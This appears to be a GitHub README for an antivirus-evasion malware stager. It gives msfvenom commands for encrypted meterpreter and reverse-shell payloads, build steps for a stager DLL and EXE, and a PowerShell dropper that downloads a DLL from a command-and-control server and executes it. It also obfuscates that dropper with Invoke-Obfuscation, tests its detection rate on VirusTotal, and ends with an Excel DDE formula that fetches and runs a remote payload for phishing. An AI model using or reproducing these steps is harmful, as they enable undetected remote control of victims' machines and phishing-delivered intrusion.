Skip to content


Repository files navigation


Code from this article: The advantage is that you can embed well known open source payloads and still fly under the radar.

If you want to use the reverse_tcp_rc4 meterpreter payload (useful to bypass NIDS), get MSF5 from official repository (master branch - no official release yet at this time for v5):

Then generate payload that suits your needs, ex:
ruby msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST= LPORT=443 RC4PASSWORD=GeekIsChic --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f c -o /tmp/meterpreter.c

Update 02/12/2019:
Right now we still have the meterpreter agent connect back. However any meterpreter command executed by the agent is now triggered by Defender.

A solution is to use the new MSF payloads which are returning a simple command line with a ChaCha20 ciphered communication:

ruby msfvenom -p windows/x64/encrypted_shell_reverse_tcp LHOST= LPORT=443 --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f c -o /tmp/meterpreter.c

Replace the payload in stager_dll_xx.cpp and build the DLL on a Windows machine with the following command:
cl /LD /MT /EHa stager_dll_xx.cpp aes.cpp /Fe:stager.dll

You can also build a standalone executable with:
cl /MT /EHa stager_exe_xx.cpp aes.cpp /Fe:stager.exe

In case of troubling while compiling, check

N.B: I added a dynamic analysis bypass taken from this article:

Now edit meterpreter.rc and run:

ruby msfconsole -r <path_to_repo>/meterpreter.rc

Then run rundll32 stager.dll,Exec

If you want to download your DLL from a C2 and run it, here is the powershell script i used:

$file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('',$file); $exec = New-Object -com shell.application; $exec.shellexecute('rundll32',$file+',Exec');

How to obfuscate it:

git clone
# N.B: i would recommend to flag the downloaded repo as trusted in your AV
cd Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation"

Now in Invoke-Obfuscation:

SET SCRIPTPATH dropper.ps1

You should get something like this (here is the whole command):

POWERs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rEsSion.cOmPrESsionModE]::dEcOmprESs ) |fOREACH{ new-OBjecT  SySTem.IO.sTREAMrEadEr($_, [tExT.ENCodIng]::AscII )} | foreaCh {$_.ReadTOENd()}) "

Now let's keep the obfuscated payload and upload it as .ps1 to VirusTotal:

Now can we phish someone with a FUD MS Office dropper?. This one is pretty tough, some recon/SE should be done to know at least what kind of AV exists on the machine. However it's interesting to see that the Dynamic Data Exchange mechanism still flies under the radar of Windows Defender and other well know AVs without any specific obfuscation (no QUOTE or else) with a ration detection of 4/59 on VT.

For my purpose i finally used the following cell formula (taken from

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c powershell.exe -nop -w 1 $e=(New-Object System.Net.WebClient).DownloadString(\"\"); IEX $e'!'A1'